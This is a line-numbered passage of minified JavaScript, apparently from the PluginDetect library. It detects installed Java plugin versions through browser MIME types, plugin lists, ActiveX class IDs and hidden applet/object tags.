  951.         },
  952.         obj: function(b) {
  953.             var d = this,
  954.                 c = d.span,
  955.                 a = c && c.firstChild ? c.firstChild : null;
  956.             return a
  957.         },
  958.         readyState: function() {
  959.             var b = this,
  960.                 a = b.DOM.$;
  961.             return a.browser.isIE && a.isDefined(a.getPROP(b.span, "readyState")) ? a.getPROP(b.obj(), "readyState") : b.undefined
  962.         },
  963.         objectProperty: function() {
  964.             var d = this,
  965.                 b = d.DOM,
  966.                 c = b.$,
  967.                 a;
  968.             if (b.isEnabled.objectProperty()) {
  969.                 a = c.getPROP(d.obj(), "object")
  970.             }
  971.             return a
  972.         },
  973.         getTagStatus: function(b, m, r, p, f, h) {
  974.             var s = this,
  975.                 d = s.$,
  976.                 q;
  977.             if (!b || !b.span) {
  978.                 return -2
  979.             }
  980.             var k = b.width(),
  981.                 c = b.readyState(),
  982.                 a = b.objectProperty();
  983.             if (a) {
  984.                 return 1.5
  985.             }
  986.             var g = /clsid\s*\:/i,
  987.                 o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  988.                 i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  989.                 l = b && g.test(b.outerHTML || "") ? o : i;
  990.             if (!m || !m.span || !l || !l.span) {
  991.                 return 0
  992.             }
  993.             var j = l.width(),
  994.                 n = m.width(),
  995.                 t = l.readyState();
  996.             if (k < 0 || j < 0 || n <= s.pluginSize) {
  997.                 return 0
  998.             }
  999.             if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  1000.                 b.pi = 1
  1001.             }
  1002.             if (j < n) {
  1003.                 return b.pi ? -0.1 : 0
  1004.             }
  1005.             if (k >= n) {
  1006.                 if (!b.winLoaded && d.win.loaded) {
  1007.                     return b.pi ? -0.5 : -1
  1008.                 }
  1009.                 if (d.isNum(f)) {
  1010.                     if (!d.isNum(b.count2)) {
  1011.                         b.count2 = f
  1012.                     }
  1013.                     if (f - b.count2 > 0) {
  1014.                         return b.pi ? -0.5 : -1
  1015.                     }
  1016.                 }
  1017.             }
  1018.             try {
  1019.                 if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  1020.                     if (!b.winLoaded && d.win.loaded) {
  1021.                         return 1
  1022.                     }
  1023.                     if (b.winLoaded && d.isNum(f)) {
  1024.                         if (!d.isNum(b.count)) {
  1025.                             b.count = f
  1026.                         }
  1027.                         if (f - b.count >= 5) {
  1028.                             return 1
  1029.                         }
  1030.                     }
  1031.                 }
  1032.             } catch (q) {}
  1033.             return b.pi ? -0.1 : 0
  1034.         },
  1035.         setStyle: function(b, h) {
  1036.             var c = this,
  1037.                 d = c.$,
  1038.                 g = b.style,
  1039.                 a, f;
  1040.             if (g && h) {
  1041.                 for (a = 0; a < h.length; a = a + 2) {
  1042.                     try {
  1043.                         g[h[a]] = h[a + 1]
  1044.                     } catch (f) {}
  1045.                 }
  1046.             }
  1047.         },
  1048.         getStyle: {
  1049.             $: 1,
  1050.             span: function() {
  1051.                 var a = this.$.DOM;
  1052.                 return [].concat(this.Default).concat(["display", "inline", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px"])
  1053.             },
  1054.             div: function() {
  1055.                 var a = this.$.DOM;
  1056.                 return [].concat(this.Default).concat(["display", "block", "width", a.divWidth + "px", "height", (a.pluginSize + 3) + "px", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
  1057.             },
  1058.             plugin: function(b) {
  1059.                 var a = this.$.DOM;
  1060.                 return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (a.pluginSize + 3) + "px;line-height:" + (a.pluginSize + 3) + "px;"
  1061.             },
  1062.             Default: ["backgroundColor", "transparent", "backgroundImage", "none", "verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]
  1063.         },
  1064.         insertDivInBody: function(a, h) {
  1065.             var j = this,
  1066.                 d = j.$,
  1067.                 g, b = "pd33993399",
  1068.                 c = null,
  1069.                 i = h ? window.top.document : window.document,
  1070.                 f = i.getElementsByTagName("body")[0] || i.body;
  1071.             if (!f) {
  1072.                 try {
  1073.                     i.write('<div id="' + b + '">.' + d.openTag + "/div>");
  1074.                     c = i.getElementById(b)
  1075.                 } catch (g) {}
  1076.             }
  1077.             f = i.getElementsByTagName("body")[0] || i.body;
  1078.             if (f) {
  1079.                 f.insertBefore(a, f.firstChild);
  1080.                 if (c) {
  1081.                     f.removeChild(c)
  1082.                 }
  1083.             }
  1084.         },
  1085.         insert: function(b, i, g, h, c, p, n) {
  1086.             var r = this,
  1087.                 f = r.$,
  1088.                 q, s = document,
  1089.                 u, l, o = s.createElement("span"),
  1090.                 j, a;
  1091.             if (!f.isDefined(h)) {
  1092.                 h = ""
  1093.             }
  1094.             if (f.isString(b) && (/[^\s]/).test(b)) {
  1095.                 b = b.toLowerCase().replace(/\s/g, "");
  1096.                 u = f.openTag + b + " ";
  1097.                 u += 'style="' + r.getStyle.plugin(p) + '" ';
  1098.                 var k = 1,
  1099.                     t = 1;
  1100.                 for (j = 0; j < i.length; j = j + 2) {
  1101.                     if (/[^\s]/.test(i[j + 1])) {
  1102.                         u += i[j] + '="' + i[j + 1] + '" '
  1103.                     }
  1104.                     if ((/width/i).test(i[j])) {
  1105.                         k = 0
  1106.                     }
  1107.                     if ((/height/i).test(i[j])) {
  1108.                         t = 0
  1109.                     }
  1110.                 }
  1111.                 u += (k ? 'width="' + r.pluginSize + '" ' : "") + (t ? 'height="' + r.pluginSize + '" ' : "");
  1112.                 u += ">";
  1113.                 for (j = 0; j < g.length; j = j + 2) {
  1114.                     if (/[^\s]/.test(g[j + 1])) {
  1115.                         u += f.openTag + 'param name="' + g[j] + '" value="' + g[j + 1] + '" />'
  1116.                     }
  1117.                 }
  1118.                 u += h + f.openTag + "/" + b + ">"
  1119.             } else {
  1120.                 b = "";
  1121.                 u = h
  1122.             } if (!n) {
  1123.                 r.initDiv()
  1124.             }
  1125.             var m = n || r.getDiv();
  1126.             l = {
  1127.                 span: null,
  1128.                 winLoaded: f.win.loaded,
  1129.                 tagName: b,
  1130.                 outerHTML: u,
  1131.                 DOM: r,
  1132.                 time: new Date().getTime(),
  1133.                 width: r.width,
  1134.                 obj: r.obj,
  1135.                 readyState: r.readyState,
  1136.                 objectProperty: r.objectProperty
  1137.             };
  1138.             if (m && m.parentNode) {
  1139.                 r.setStyle(o, r.getStyle.span());
  1140.                 m.appendChild(o);
  1141.                 try {
  1142.                     o.innerHTML = u
  1143.                 } catch (q) {};
  1144.                 l.span = o;
  1145.                 l.winLoaded = f.win.loaded
  1146.             }
  1147.             return l
  1148.         }
  1149.     },
  1150.     file: {
  1151.         $: 1,
  1152.         any: "fileStorageAny999",
  1153.         valid: "fileStorageValid999",
  1154.         save: function(d, f, c) {
  1155.             var b = this,
  1156.                 e = b.$,
  1157.                 a;
  1158.             if (d && e.isDefined(c)) {
  1159.                 if (!d[b.any]) {
  1160.                     d[b.any] = []
  1161.                 }
  1162.                 if (!d[b.valid]) {
  1163.                     d[b.valid] = []
  1164.                 }
  1165.                 d[b.any].push(c);
  1166.                 a = b.split(f, c);
  1167.                 if (a) {
  1168.                     d[b.valid].push(a)
  1169.                 }
  1170.             }
  1171.         },
  1172.         getValidLength: function(a) {
  1173.             return a && a[this.valid] ? a[this.valid].length : 0
  1174.         },
  1175.         getAnyLength: function(a) {
  1176.             return a && a[this.any] ? a[this.any].length : 0
  1177.         },
  1178.         getValid: function(c, a) {
  1179.             var b = this;
  1180.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1181.         },
  1182.         getAny: function(c, a) {
  1183.             var b = this;
  1184.             return c && c[b.any] ? b.get(c[b.any], a) : null
  1185.         },
  1186.         get: function(d, a) {
  1187.             var c = d.length - 1,
  1188.                 b = this.$.isNum(a) ? a : c;
  1189.             return (b < 0 || b > c) ? null : d[b]
  1190.         },
  1191.         split: function(g, c) {
  1192.             var b = this,
  1193.                 e = b.$,
  1194.                 f = null,
  1195.                 a, d;
  1196.             g = g ? g.replace(".", "\.") : "";
  1197.             d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  1198.             if (e.isString(c) && d.test(c)) {
  1199.                 a = (RegExp.$1).split("/");
  1200.                 f = {
  1201.                     name: a[a.length - 1],
  1202.                     ext: RegExp.$2,
  1203.                     full: c
  1204.                 };
  1205.                 a[a.length - 1] = "";
  1206.                 f.path = a.join("/")
  1207.             }
  1208.             return f
  1209.         },
  1210.         z: 0
  1211.     },
  1212.     Plugins: {
  1213.         java: {
  1214.             $: 1,
  1215.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1216.             mimeType_dummy: "application/dummymimejavaapplet",
  1217.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1218.             classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1219.             navigator: {
  1220.                 $: 1,
  1221.                 init: function() {
  1222.                     var d = this,
  1223.                         b = d.$,
  1224.                         a = d.$$,
  1225.                         c;
  1226.                     try {
  1227.                         d.a = window.navigator.javaEnabled()
  1228.                     } catch (c) {};
  1229.                     d.mimeObj = b.hasMimeType(a.mimeType);
  1230.                     if (d.mimeObj) {
  1231.                         d.pluginObj = d.mimeObj.enabledPlugin
  1232.                     }
  1233.                 },
  1234.                 a: !0,
  1235.                 javaEnabled: function() {
  1236.                     return this.a
  1237.                 },
  1238.                 mimeObj: 0,
  1239.                 pluginObj: 0
  1240.             },
  1241.             OTF: null,
  1242.             getVerifyTagsDefault: function() {
  1243.                 return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1244.             },
  1245.             getVersion: function(j, g, i) {
  1246.                 var b = this,
  1247.                     d = b.$,
  1248.                     e, a = b.applet,
  1249.                     h = b.verify,
  1250.                     k = b.navigator,
  1251.                     f = null,
  1252.                     l = null,
  1253.                     c = null;
  1254.                 if (b.getVersionDone === null) {
  1255.                     b.OTF = 0;
  1256.                     k.init();
  1257.                     if (h) {
  1258.                         h.init()
  1259.                     }
  1260.                 }
  1261.                 a.setVerifyTagsArray(i);
  1262.                 d.file.save(b, ".jar", g);
  1263.                 if (b.getVersionDone === 0) {
  1264.                     if (a.should_Insert_Query_Any()) {
  1265.                         e = a.insert_Query_Any(j);
  1266.                         b.setPluginStatus(e[0], e[1], f, j)
  1267.                     }
  1268.                     return
  1269.                 }
  1270.                 if ((!f || d.dbug) && b.navMime.query().version) {
  1271.                     f = b.navMime.version
  1272.                 }
  1273.                 if ((!f || d.dbug) && b.navPlugin.query().version) {
  1274.                     f = b.navPlugin.version
  1275.                 }
  1276.                 if ((!f || d.dbug) && b.DTK.query().version) {
  1277.                     f = b.DTK.version
  1278.                 }
  1279.                 if (b.nonAppletDetectionOk(f)) {
  1280.                     c = f
  1281.                 }
  1282.                 b.setPluginStatus(c, l, f, j);
  1283.                 if (a.should_Insert_Query_Any()) {
  1284.                     e = a.insert_Query_Any(j);
  1285.                     if (e[0]) {
  1286.                         c = e[0];
  1287.                         l = e[1]
  1288.                     }
  1289.                 }
  1290.                 b.setPluginStatus(c, l, f, j)
  1291.             },
  1292.             nonAppletDetectionOk: function(b) {
  1293.                 var d = this,
  1294.                     e = d.$,
  1295.                     a = d.navigator,
  1296.                     c = 1;
  1297.                 if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
  1298.                     c = 0
  1299.                 } else {
  1300.                     if (e.OS >= 20) {} else {
  1301.                         if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1302.                             c = 0
  1303.                         }
  1304.                     }
  1305.                 }
  1306.                 return c
  1307.             },
  1308.             setPluginStatus: function(d, i, g, h) {
  1309.                 var b = this,
  1310.                     e = b.$,
  1311.                     f, c = 0,
  1312.                     a = b.applet;
  1313.                 g = g || b.version0;
  1314.                 f = a.isRange(d);
  1315.                 if (f) {
  1316.                     if (a.setRange(f, h) == d) {
  1317.                         c = f
  1318.                     }
  1319.                     d = 0
  1320.                 }
  1321.                 if (b.OTF < 3) {
  1322.                     b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1323.                 }
  1324.                 if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1325.                     b.installed = g ? -0.2 : -1
  1326.                 }
  1327.                 if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1328.                     b.installed = (b.NOTF.isJavaActive(1) >= 1 ? 0.5 : -0.5)
  1329.                 }
  1330.                 if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1331.                     if (d) {
  1332.                         b.installed = 1
  1333.                     } else {
  1334.                         if (c) {
  1335.                             b.installed = c > 0 ? 0.7 : -0.1
  1336.                         } else {
  1337.                             if (b.NOTF.isJavaActive(1) >= 1) {
  1338.                                 if (g) {
  1339.                                     b.installed = 1;
  1340.                                     d = g
  1341.                                 } else {
  1342.                                     b.installed = 0
  1343.                                 }
  1344.                             } else {
  1345.                                 if (g) {
  1346.                                     b.installed = -0.2
  1347.                                 } else {
  1348.                                     b.installed = -1
  1349.                                 }
  1350.                             }
  1351.                         }
  1352.                     }
  1353.                 }
  1354.                 if (g) {
  1355.                     b.version0 = e.formatNum(e.getNum(g))
  1356.                 }
  1357.                 if (d && !c) {
  1358.                     b.version = e.formatNum(e.getNum(d))
  1359.                 }
  1360.                 if (i && e.isString(i)) {
  1361.                     b.vendor = i
  1362.                 }
  1363.                 if (!b.vendor) {
  1364.                     b.vendor = ""
  1365.                 }
  1366.                 if (b.verify && b.verify.isEnabled()) {
  1367.                     b.getVersionDone = 0
  1368.                 } else {
  1369.                     if (b.getVersionDone != 1) {
  1370.                         if (b.OTF < 2) {
  1371.                             b.getVersionDone = 0
  1372.                         } else {
  1373.                             b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1374.                         }
  1375.                     }
  1376.                 };
  1377.                 e.codebase.emptyGarbage()
  1378.             },
  1379.             DTK: {
  1380.                 $: 1,
  1381.                 hasRun: 0,
  1382.                 status: null,
  1383.                 VERSIONS: [],
  1384.                 version: "",
  1385.                 HTML: null,
  1386.                 Plugin2Status: null,
  1387.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  1388.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  1389.                 isDisabled: function(a) {
  1390.                     var c = this,
  1391.                         d = c.$,
  1392.                         b = d.browser;
  1393.                     if (c.HTML) {
  1394.                         return 1
  1395.                     }
  1396.                     if (a || d.dbug) {
  1397.                         return 0
  1398.                     }
  1399.                     if (c.hasRun || !d.DOM.isEnabled.objectTagUsingActiveX()) {
  1400.                         return 1
  1401.                     }
  1402.                     return 0
  1403.                 },
  1404.                 query: function(n) {
  1405.                     var l = this,
  1406.                         h = l.$,
  1407.                         f = l.$$,
  1408.                         k, m, i, a = h.DOM.altHTML,
  1409.                         g = {},
  1410.                         b, d = null,
  1411.                         j = null,
  1412.                         c = l.isDisabled(n);
  1413.                     l.hasRun = 1;
  1414.                     if (c) {
  1415.                         return l
  1416.                     }
  1417.                     l.status = 0;
  1418.                     if (h.DOM.isEnabled.objectTagUsingActiveX()) {
  1419.                         for (m = 0; m < l.classID.length; m++) {
  1420.                             l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  1421.                             d = l.HTML.obj();
  1422.                             if (h.getPROP(d, "jvms")) {
  1423.                                 break
  1424.                             }
  1425.                         }
  1426.                     } else {
  1427.                         i = h.hasMimeType(l.mimeType);
  1428.                         if (i && i.type) {
  1429.                             l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  1430.                             d = l.HTML.obj()
  1431.                         }
  1432.                     } if (d) {
  1433.                         try {
  1434.                             b = h.getPROP(d, "jvms");
  1435.                             if (b) {
  1436.                                 j = b.getLength();
  1437.                                 if (h.isNum(j)) {
  1438.                                     l.status = j > 0 ? 1 : -1;
  1439.                                     for (m = 0; m < j; m++) {
  1440.                                         i = h.getNum(b.get(j - 1 - m).version);
  1441.                                         if (i) {
  1442.                                             l.VERSIONS.push(i);
  1443.                                             g["a" + h.formatNum(i)] = 1
  1444.                                         }
  1445.                                     }
  1446.                                 }
  1447.                             }
  1448.                         } catch (k) {}
  1449.                         if (l.VERSIONS.length) {
  1450.                             l.version = h.formatNum(l.VERSIONS[0])
  1451.                         }
  1452.                     };
  1453.                     return l
  1454.                 }
  1455.             },
  1456.             navMime: {
  1457.                 $: 1,
  1458.                 hasRun: 0,
  1459.                 mimetype: "",
  1460.                 version: "",
  1461.                 mimeObj: 0,
  1462.                 pluginObj: 0,
  1463.                 regexJPI: /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1464.                 isDisabled: function() {
  1465.                     var a = this,
  1466.                         c = a.$,
  1467.                         b = a.$$;
  1468.                     if (a.hasRun || !b.navigator.mimeObj) {
  1469.                         return 1
  1470.                     }
  1471.                     return 0
  1472.                 },
  1473.                 update: function(e) {
  1474.                     var a = this,
  1475.                         c = a.$,
  1476.                         d = e ? e.enabledPlugin : 0,
  1477.                         b = e && a.regexJPI.test(e.type || "") ? c.formatNum(c.getNum(RegExp.$1)) : 0;
  1478.                     if (b && d && (d.description || d.name)) {
  1479.                         if (c.compareNums(b, a.version || c.formatNum("0")) > 0) {
  1480.                             a.version = b;
  1481.                             a.mimeObj = e;
  1482.                             a.pluginObj = d;
  1483.                             a.mimetype = e.type
  1484.                         }
  1485.                     }
  1486.                 },
  1487.                 query: function() {
  1488.                     var g = this,
  1489.                         f = g.$,
  1490.                         d = g.$$,
  1491.                         j, i, h, m, l, k, c, b = navigator.mimeTypes,
  1492.                         a = g.isDisabled();
  1493.                     g.hasRun = 1;
  1494.                     if (a) {
  1495.                         return g
  1496.                     };
  1497.                     c = b.length;
  1498.                     if (f.isNum(c)) {
  1499.                         for (j = 0; j < c; j++) {
  1500.                             m = 0;
  1501.                             try {
  1502.                                 m = b[j]
  1503.                             } catch (h) {}
  1504.                             g.update(m)
  1505.                         }
  1506.                     }
  1507.                     if (!g.version || f.dbug) {
  1508.                         k = f.isArray(d.mimeType) ? d.mimeType : [d.mimeType];
  1509.                         for (j = 0; j < k.length; j++) {
  1510.                             m = 0;
  1511.                             try {
  1512.                                 m = b[k[j]]
  1513.                             } catch (h) {}
  1514.                             l = m ? m.enabledPlugin : 0;
  1515.                             c = l ? l.length : null;
  1516.                             if (f.isNum(c)) {
  1517.                                 for (i = 0; i < c; i++) {
  1518.                                     m = 0;
  1519.                                     try {
  1520.                                         m = l[i]
  1521.                                     } catch (h) {}
  1522.                                     g.update(m)
  1523.                                 }
  1524.                             }
  1525.                         }
  1526.                     };
  1527.                     return g
  1528.                 }
  1529.             },
  1530.             navPlugin: {
  1531.                 $: 1,
  1532.                 hasRun: 0,
  1533.                 version: "",
  1534.                 getPlatformNum: function() {
  1535.                     var e = this,
  1536.                         d = e.$,
  1537.                         b = e.$$,
  1538.                         a = 0,
  1539.                         c = /Java.*TM.*Platform[^\d]*(\d+)[\.,_]?(\d*)\s*U?(?:pdate)?\s*(\d*)/i,
  1540.                         f = d.findNavPlugin({
  1541.                             find: c,
  1542.                             mimes: b.mimeType,
  1543.                             plugins: 1
  1544.                         });
  1545.                     if (f && (c.test(f.name || "") || c.test(f.description || "")) && parseInt(RegExp.$1, 10) >= 5) {
  1546.                         a = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1547.                     }
  1548.                     return a
  1549.                 },
  1550.                 getPluginNum: function() {
  1551.                     var i = this,
  1552.                         c = i.$,
  1553.                         b = i.$$,
  1554.                         j = 0,
  1555.                         d, h, g, e, f, a = 0;
  1556.                     e = /Java[^\d]*Plug-in/i;
  1557.                     f = c.findNavPlugin({
  1558.                         find: e,
  1559.                         num: 1,
  1560.                         mimes: b.mimeType,
  1561.                         plugins: 1,
  1562.                         dbug: a
  1563.                     });
  1564.                     if (f) {
  1565.                         h = i.checkPluginNum(f.description, e);
  1566.                         g = i.checkPluginNum(f.name, e);
  1567.                         j = h && g ? (c.compareNums(h, g) > 0 ? h : g) : (h || g)
  1568.                     }
  1569.                     if (!j) {
  1570.                         e = /Java.*\d.*Plug-in/i;
  1571.                         f = c.findNavPlugin({
  1572.                             find: e,
  1573.                             mimes: b.mimeType,
  1574.                             plugins: 1,
  1575.                             dbug: a
  1576.                         });
  1577.                         if (f) {
  1578.                             h = i.checkPluginNum(f.description, e);
  1579.                             g = i.checkPluginNum(f.name, e);
  1580.                             j = h && g ? (c.compareNums(h, g) > 0 ? h : g) : (h || g)
  1581.                         }
  1582.                     };
  1583.                     return j
  1584.                 },
  1585.                 checkPluginNum: function(f, c) {
  1586.                     var e = this,
  1587.                         d = e.$,
  1588.                         a, b;
  1589.                     a = c.test(f) ? d.formatNum(d.getNum(f)) : 0;
  1590.                     if (a && d.compareNums(a, d.formatNum("10")) >= 0) {
  1591.                         b = a.split(d.splitNumRegx);
  1592.                         a = d.formatNum("1," + (parseInt(b[0], 10) - 3) + ",0," + b[1])
  1593.                     }
  1594.                     if (a && (d.compareNums(a, d.formatNum("1,3")) < 0 || d.compareNums(a, d.formatNum("2")) >= 0)) {
  1595.                         a = 0
  1596.                     }
  1597.                     return a
  1598.                 },
  1599.                 query: function() {
  1600.                     var f = this,
  1601.                         e = f.$,
  1602.                         d = f.$$,
  1603.                         c, a = 0,
  1604.                         b = f.hasRun || !d.navigator.mimeObj;
  1605.                     f.hasRun = 1;
  1606.                     if (b) {
  1607.                         return f
  1608.                     };
  1609.                     if (!a || e.dbug) {
  1610.                         c = f.getPlatformNum();
  1611.                         if (c) {
  1612.                             a = c
  1613.                         }
  1614.                     }
  1615.                     if (!a || e.dbug) {
  1616.                         c = f.getPluginNum();
  1617.                         if (c) {
  1618.                             a = c
  1619.                         }
  1620.                     }
  1621.                     if (a) {
  1622.                         f.version = e.formatNum(a)
  1623.                     };
  1624.                     return f
  1625.                 }
  1626.             },
  1627.             applet: {
  1628.                 $: 1,
  1629.                 codebase: {
  1630.                     $: 1,
  1631.                     isMin: function(a) {
  1632.                         return this.$.codebase.isMin(this, a)
  1633.                     },
  1634.                     search: function() {
  1635.                         return this.$.codebase.search(this)
  1636.                     },
  1637.                     DIGITMAX: [
  1638.                         [16, 64],
  1639.                         [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  1640.                         [1, 4, 0, 64],
  1641.                         [1, 3, 2, 32]
  1642.                     ],
  1643.                     DIGITMIN: [1, 0, 0, 0],
  1644.                     Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  1645.                     Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  1646.                     convert: [
  1647.                         function(b, a) {
  1648.                             return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  1649.                         },
  1650.                         function(b, a) {
  1651.                             return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  1652.                         },
  1653.                         0,
  1654.                         function(b, a) {
  1655.                             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1656.                         },
  1657.                         0, 1,
  1658.                         function(b, a) {
  1659.                             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1660.                         },
  1661.                         1
  1662.                     ]
  1663.                 },
  1664.                 results: [
  1665.                     [null, null],
  1666.                     [null, null],
  1667.                     [null, null],
  1668.                     [null, null]
  1669.                 ],
  1670.                 getResult: function() {
  1671.                     var b = this,
  1672.                         d = b.results,
  1673.                         a, c = [];
  1674.                     for (a = d.length - 1; a >= 0; a--) {
  1675.                         c = d[a];
  1676.                         if (c[0]) {
  1677.                             break
  1678.                         }
  1679.                     }
  1680.                     c = [].concat(c);
  1681.                     return c
  1682.                 },
  1683.                 DummySpanTagHTML: 0,
  1684.                 HTML: [0, 0, 0, 0],
  1685.                 active: [0, 0, 0, 0],
  1686.                 DummyObjTagHTML: 0,
  1687.                 DummyObjTagHTML2: 0,
  1688.                 allowed: [1, 1, 1, 1],
  1689.                 VerifyTagsHas: function(c) {
  1690.                     var d = this,
  1691.                         b;
  1692.                     for (b = 0; b < d.allowed.length; b++) {
  1693.                         if (d.allowed[b] === c) {
  1694.                             return 1
  1695.                         }
  1696.                     }
  1697.                     return 0
  1698.                 },
  1699.                 saveAsVerifyTagsArray: function(c) {
  1700.                     var b = this,
  1701.                         d = b.$,
  1702.                         a;
  1703.                     if (d.isArray(c)) {
  1704.                         for (a = 1; a < b.allowed.length; a++) {
  1705.                             if (c.length > a - 1 && d.isNum(c[a - 1])) {
  1706.                                 if (c[a - 1] < 0) {
  1707.                                     c[a - 1] = 0
  1708.                                 }
  1709.                                 if (c[a - 1] > 3) {
  1710.                                     c[a - 1] = 3
  1711.                                 }
  1712.                                 b.allowed[a] = c[a - 1]
  1713.                             }
  1714.                         }
  1715.                         b.allowed[0] = b.allowed[3]
  1716.                     }
  1717.                 },
  1718.                 setVerifyTagsArray: function(d) {
  1719.                     var b = this,
  1720.                         c = b.$,
  1721.                         a = b.$$;
  1722.                     if (a.getVersionDone === null) {
  1723.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1724.                     }
  1725.                     if (c.dbug) {
  1726.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1727.                     } else {
  1728.                         if (d) {
  1729.                             b.saveAsVerifyTagsArray(d)
  1730.                         }
  1731.                     }
  1732.                 },
  1733.                 isDisabled: {
  1734.                     $: 1,
  1735.                     single: function(d) {
  1736.                         var a = this,
  1737.                             c = a.$,
  1738.                             b = a.$$;
  1739.                         if (a.all()) {
  1740.                             return 1
  1741.                         }
  1742.                         if (d == 0) {
  1743.                             return c.codebase.isDisabled()
  1744.                         }
  1745.                         if (d == 1) {
  1746.                             return !c.DOM.isEnabled.objectTag()
  1747.                         }
  1748.                         if (d == 2) {
  1749.                             return a.AppletTag()
  1750.                         }
  1751.                         if (d == 3) {
  1752.                             return !c.DOM.isEnabled.objectTagUsingActiveX()
  1753.                         }
  1754.                     },
  1755.                     aA_: null,
  1756.                     all: function() {
  1757.                         var c = this,
  1758.                             f = c.$,
  1759.                             e = c.$$,
  1760.                             b = e.navigator,
  1761.                             a = 0,
  1762.                             d = f.browser;
  1763.                         if (c.aA_ === null) {
  1764.                             if (f.OS >= 20) {
  1765.                                 a = 0
  1766.                             } else {
  1767.                                 if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
  1768.                                     a = 1
  1769.                                 } else {
  1770.                                     if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
  1771.                                         a = 1
  1772.                                     } else {
  1773.                                         if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
  1774.                                             a = 1
  1775.                                         }
  1776.                                     }
  1777.                                 }
  1778.                             };
  1779.                             c.aA_ = a
  1780.                         }
  1781.                         return c.aA_
  1782.                     },
  1783.                     AppletTag: function() {
  1784.                         var b = this,
  1785.                             d = b.$,
  1786.                             c = b.$$,
  1787.                             a = c.navigator;
  1788.                         return d.browser.isIE ? !a.javaEnabled() : 0
  1789.                     },
  1790.                     VerifyTagsDefault_1: function() {
  1791.                         var b = this.$,
  1792.                             a = b.browser;
  1793.                         if (b.OS >= 20) {
  1794.                             return 1
  1795.                         }
  1796.                         if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  1797.                             return 0
  1798.                         }
  1799.                         return 1
  1800.                     },
  1801.                     z: 0
  1802.                 },
  1803.                 can_Insert_Query: function(d) {
  1804.                     var b = this,
  1805.                         c = b.results[0][0],
  1806.                         a = b.getResult()[0];
  1807.                     if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  1808.                         return 0
  1809.                     }
  1810.                     return !b.isDisabled.single(d)
  1811.                 },
  1812.                 can_Insert_Query_Any: function() {
  1813.                     var b = this,
  1814.                         a;
  1815.                     for (a = 0; a < b.results.length; a++) {
  1816.                         if (b.can_Insert_Query(a)) {
  1817.                             return 1
  1818.                         }
  1819.                     }
  1820.                     return 0
  1821.                 },
  1822.                 should_Insert_Query: function(e) {
  1823.                     var c = this,
  1824.                         f = c.allowed,
  1825.                         d = c.$,
  1826.                         b = c.$$,
  1827.                         a = c.getResult()[0];
  1828.                     a = a && (e > 0 || !c.isRange(a));
  1829.                     if (!c.can_Insert_Query(e) || f[e] === 0) {
  1830.                         return 0
  1831.                     }
  1832.                     if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  1833.                         return 1
  1834.                     }
